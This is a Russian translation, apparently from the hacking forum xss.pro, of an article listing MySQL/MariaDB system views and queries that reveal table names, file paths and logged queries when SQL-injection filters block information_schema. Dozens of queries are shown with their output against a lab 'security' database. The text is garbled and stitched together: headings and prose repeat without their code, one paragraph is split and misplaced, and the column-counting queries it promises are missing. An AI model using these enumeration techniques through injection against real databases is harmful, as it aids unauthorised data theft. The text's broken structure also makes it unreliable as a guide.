Ранее я публиковал информацию по извлечению имен таблиц, в случаях, когда
Sys
Все эти "ништячки" были добавлены в MySQL 5.7.9.
Используя эти запросы, вы можете получить пути к файлам таблицам, хранящимся локально на диске, а также мы можем извлечь имена таблиц.
В следующих таблицах хранятся запросы, ранее используемые, как лог. Вы можете использовать регулярные выражения, чтобы найти то, что вам нужно.
Performance_Schema
Как упоминалось ранее, вот тут содержится лог всех типовых SQL запросов. Иногда вы можете найти имена таблиц. Для простоты я использовал регулярные выражения, чтобы соответствовать текущему имени базы данных.
Как и прежде, мы выбираем пути к файлам локальной таблицы.
MySQL
Information_Schema
Однако, в этом случае можно получить значение первого столбца.
В этой таблице вы также можете использовать столбец
Начиная с MySQL 5.6, в Information_Schema существует InnoDB.
Имена столбцов
В большинстве случаев люди спрашивают меня, есть ли какой-нибудь метод для извлечения имен столбцов? На самом деле, вам не нужно знать имена столбцов.
Если у вас отображается ошибка, вы можете сразу получить количество столбцов, используя приведенный ниже первый запрос, который делает запрос равным 1, возвращая нам ошибку. Чтобы определить количество столбцов в сценарии с слепыми инъекциями, вы можете выполнить этот трюк, который будет возвращать 0 (поскольку значения не равны). После этого используйте приведенный ниже третий запрос для извлечения данных.
Надеюсь, информация вам пригодится.
оригинальная заметка
автор @ Osanda Malith Jayathissa
Перевод: tabac, специально для https://xss.pro
/or/i отфильтровываются, а это приводит к фильтрации слова information_schema. Я провел дополнительное исследование в этой области самостоятельно и нашел много других таблиц, из которых вы можете извлечь имена таблиц. Это все базы данных и таблицы, из которых мы можем извлечь имена таблиц, кроме information_schema.tables. Я проверил в MySQL 5.7.29 и MariaDB 10.3.18. Всего 39 запросов суммарно.Sys
Все эти "ништячки" были добавлены в MySQL 5.7.9.
Код:
mysql> SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails |
| flag |
| referers |
| uagents |
| users |
+-------------+
5 rows in set (0.04 sec)
Код:
mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails |
| flag |
| referers |
| uagents |
| users |
+------------+
5 rows in set (0.01 sec)
Код:
mysql> SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| db |
| emails |
| flag |
| referers |
| uagents |
| users |
+------------+
6 rows in set (0.04 sec)
Код:
mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| table_name |
+------------+
| users |
| emails |
| referers |
| uagents |
| flag |
+------------+
5 rows in set (0.00 sec)
Код:
mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails |
| users |
| flag |
| referers |
| uagents |
+------------+
5 rows in set (0.03 sec)
Код:
mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| referers |
| uagents |
| emails |
| users |
| flag |
+------------+
5 rows in set (0.07 sec)
Код:
mysql> SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails |
| flag |
| referers |
| uagents |
| users |
+-------------+
5 rows in set (0.05 sec)
Код:
mysql> SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| table_name |
+------------+
| referers |
| flag |
| emails |
| users |
| uagents |
+------------+
5 rows in set (0.14 sec)
Код:
mysql> SELECT TABLE_NAME FROM `sys`.`schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| table_name |
+------------+
| users |
| emails |
| referers |
| uagents |
| flag |
+------------+
5 rows in set (0.00 sec)
Код:
mysql> SELECT TABLE_NAME FROM `sys`.`schema_table_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| users |
| emails |
| referers |
| uagents |
| flag |
+------------+
5 rows in set (0.04 sec)
Код:
mysql> SELECT TABLE_NAME FROM `sys`.`schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| users |
| emails |
| flag |
| referers |
| uagents |
+------------+
5 rows in set (0.09 sec)
Код:
mysql> SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
+---------------------------------+
| file |
+---------------------------------+
| @@datadir\security\emails.ibd |
| @@datadir\security\flag.ibd |
| @@datadir\security\referers.ibd |
| @@datadir\security\uagents.ibd |
| @@datadir\security\users.ibd |
| @@datadir\security\uagents.frm |
| @@datadir\security\referers.frm |
| @@datadir\security\users.frm |
| @@datadir\security\emails.frm |
| @@datadir\security\flag.frm |
| @@datadir\security\db.opt |
+---------------------------------+
11 rows in set (0.22 sec)
Код:
mysql> SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
+---------------------------------+
| file |
+---------------------------------+
| @@datadir\security\flag.ibd |
| @@datadir\security\uagents.ibd |
| @@datadir\security\flag.frm |
| @@datadir\security\emails.frm |
| @@datadir\security\emails.ibd |
| @@datadir\security\referers.ibd |
| @@datadir\security\referers.frm |
| @@datadir\security\users.frm |
| @@datadir\security\users.ibd |
| @@datadir\security\uagents.frm |
| @@datadir\security\db.opt |
+---------------------------------+
Код:
mysql> SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt |
+-----------------------------------------------------------------------------+
Код:
mysql> SELECT FILE FROM `sys`.`x$io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt |
+-----------------------------------------------------------------------------+
11 rows in set (0.00 sec)
Код:
mysql> SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
+-----------------------------------------------------------------------------------------------------------------------------------+
| query |
+-----------------------------------------------------------------------------------------------------------------------------------+
| SHOW TABLE STATUS FROM `security` |
| SHOW CREATE TABLE `security` . `emails` |
| SHOW CREATE TABLE `security` . `users` |
| SHOW CREATE TABLE `security` . `referers` |
+-----------------------------------------------------------------------------------------------------------------------------------+
Код:
mysql> SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
+-----------------------------------------------------------+
| query |
+-----------------------------------------------------------+
| SHOW TABLE STATUS FROM `security` |
| SHOW CREATE TABLE `security` . `emails` |
| SHOW CREATE TABLE `security` . `users` |
| SHOW CREATE TABLE `security` . `referers` |
| SELECT * FROM `security` . `users` LIMIT ? |
| SHOW CREATE TABLE `security` . `uagents` |
| SHOW CREATE PROCEDURE `security` . `select_first_column` |
| SHOW CREATE TABLE `security` . `users` |
| SHOW OPEN TABLES FROM `security` WHERE `in_use` != ? |
| SHOW TRIGGERS FROM `security` |
| USE `security` |
| USE `security` |
+-----------------------------------------------------------+
12 rows in set (0.01 sec)
Performance_Schema
Код:
mysql> SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
+---------------------+
| object_name |
+---------------------+
| emails |
| referers |
| uagents |
| users |
| flag |
| select_first_column |
+---------------------+
6 rows in set (0.00 sec)
Код:
mysql> SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails |
| referers |
| uagents |
| users |
| users |
| users |
| users |
| users |
| users |
| users |
| emails |
| flag |
| referers |
| uagents |
| users |
| emails |
| flag |
| referers |
| uagents |
| users |
+-------------+
20 rows in set (0.00 sec)
Код:
mysql> SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails |
| referers |
| uagents |
| users |
| users |
| flag |
+-------------+
6 rows in set (0.00 sec)
Код:
mysql> SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails |
| referers |
| uagents |
| users |
| flag |
+-------------+
5 rows in set (0.00 sec)
Код:
mysql> SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails |
| referers |
| uagents |
| users |
| flag |
+-------------+
5 rows in set (0.00 sec)
Код:
mysql> SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();
+-----------------------------------------------------------------------------------------------------------------------------------+
| digest_text |
+-----------------------------------------------------------------------------------------------------------------------------------+
| SHOW CREATE TABLE `security` . `emails` |
| SHOW CREATE TABLE `security` . `referers` |
| SHOW CREATE PROCEDURE `security` . `select_first_column` |
| SHOW CREATE TABLE `security` . `uagents` |
+-----------------------------------------------------------------------------------------------------------------------------------+
17 rows in set (0.00 sec)
Код:
mysql> SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file_name |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm |
+-----------------------------------------------------------------------------+
11 rows in set (0.00 sec)
Код:
mysql> SELECT file_name FROM `performance_schema`.`file_summary_by_instance` WHERE file_name REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file_name |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm |
+-----------------------------------------------------------------------------+
11 rows in set (0.00 sec)
MySQL
Код:
mysql> SELECT table_name FROM `mysql`.`innodb_table_stats` WHERE database_name = DATABASE();
+------------+
| table_name |
+------------+
| emails |
| flag |
| referers |
| uagents |
| users |
+------------+
5 rows in set (0.00 sec)
Код:
mysql> SELECT table_name FROM `mysql`.`innodb_index_stats` WHERE database_name = DATABASE();
+------------+
| table_name |
+------------+
| emails |
| emails |
| emails |
| flag |
| flag |
| flag |
| referers |
| referers |
| referers |
| uagents |
| uagents |
| uagents |
| users |
| users |
| users |
+------------+
15 rows in set (0.00 sec)
Information_Schema
Код:
mysql> SELECT TABLE_NAME FROM `information_schema`.`KEY_COLUMN_USAGE` WHERE CONSTRAINT_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails |
| flag |
| referers |
| uagents |
| users |
+------------+
5 rows in set (0.07 sec)
Код:
mysql> SELECT TABLE_NAME FROM `information_schema`.`KEY_COLUMN_USAGE` WHERE table_schema = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails |
| flag |
| referers |
| uagents |
| users |
+------------+
5 rows in set (0.00 sec)
Код:
mysql> SELECT COLUMN_NAME FROM `information_schema`.`KEY_COLUMN_USAGE` WHERE table_schema = DATABASE();
+-------------+
| COLUMN_NAME |
+-------------+
| id |
| id |
| id |
| id |
| id |
+-------------+
5 rows in set (0.00 sec)
Код:
mysql> SELECT TABLE_NAME FROM `information_schema`.`PARTITIONS` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails |
| flag |
| referers |
| uagents |
| users |
+------------+
5 rows in set (0.01 sec)
column_name, чтобы получить первый столбец всех таблиц.
Код:
mysql> SELECT TABLE_NAME FROM `information_schema`.`STATISTICS` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails |
| flag |
| referers |
| uagents |
| users |
+------------+
5 rows in set (0.00 sec)
Код:
mysql> SELECT TABLE_NAME FROM `information_schema`.`TABLE_CONSTRAINTS` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails |
| flag |
| referers |
| uagents |
| users |
+------------+
5 rows in set (0.00 sec)
Код:
mysql> SELECT file_name FROM `information_schema`.`FILES` where file_name regexp database();
+-------------------------+
| file_name |
+-------------------------+
| .\security\emails.ibd |
| .\security\flag.ibd |
| .\security\referers.ibd |
| .\security\uagents.ibd |
| .\security\users.ibd |
+-------------------------+
5 rows in set (0.00 sec)
Код:
mysql> SELECT TABLE_NAME FROM `information_schema`.`INNODB_BUFFER_PAGE` WHERE TABLE_NAME REGEXP DATABASE();
+-----------------------+
| TABLE_NAME |
+-----------------------+
| `security`.`emails` |
| `security`.`referers` |
| `security`.`uagents` |
| `security`.`users` |
| `security`.`flag` |
+-----------------------+
Код:
mysql> SELECT TABLE_NAME FROM `information_schema`.`INNODB_BUFFER_PAGE_LRU` WHERE TABLE_NAME REGEXP DATABASE();
+-----------------------+
| TABLE_NAME |
+-----------------------+
| `security`.`emails` |
| `security`.`referers` |
| `security`.`uagents` |
| `security`.`users` |
| `security`.`flag` |
+-----------------------+
5 rows in set (0.06 sec)
Код:
mysql> SELECT path FROM `information_schema`.`INNODB_SYS_DATAFILES` WHERE path REGEXP DATABASE();
+-------------------------+
| path |
+-------------------------+
| .\security\users.ibd |
| .\security\emails.ibd |
| .\security\uagents.ibd |
| .\security\referers.ibd |
| .\security\flag.ibd |
+-------------------------+
5 rows in set (0.00 sec)
Код:
mysql> SELECT NAME FROM `information_schema`.`INNODB_SYS_TABLESPACES` WHERE NAME REGEXP DATABASE();
+-------------------+
| NAME |
+-------------------+
| security/users |
| security/emails |
| security/uagents |
| security/referers |
| security/flag |
+-------------------+
5 rows in set (0.04 sec)
Код:
mysql> SELECT NAME FROM `information_schema`.`INNODB_SYS_TABLESTATS` WHERE NAME REGEXP DATABASE();
+-------------------+
| NAME |
+-------------------+
| security/emails |
| security/flag |
| security/referers |
| security/uagents |
| security/users |
+-------------------+
5 rows in set (0.00 sec)
Имена столбцов
В большинстве случаев люди спрашивают меня, есть ли какой-нибудь метод для извлечения имен столбцов? На самом деле, вам не нужно знать имена столбцов.
Если у вас отображается ошибка, вы можете сразу получить количество столбцов, используя приведенный ниже первый запрос, который делает запрос равным 1, возвращая нам ошибку. Чтобы определить количество столбцов в сценарии с слепыми инъекциями, вы можете выполнить этот трюк, который будет возвращать 0 (поскольку значения не равны). После этого используйте приведенный ниже третий запрос для извлечения данных.
Надеюсь, информация вам пригодится.
оригинальная заметка
автор @ Osanda Malith Jayathissa
Перевод: tabac, специально для https://xss.pro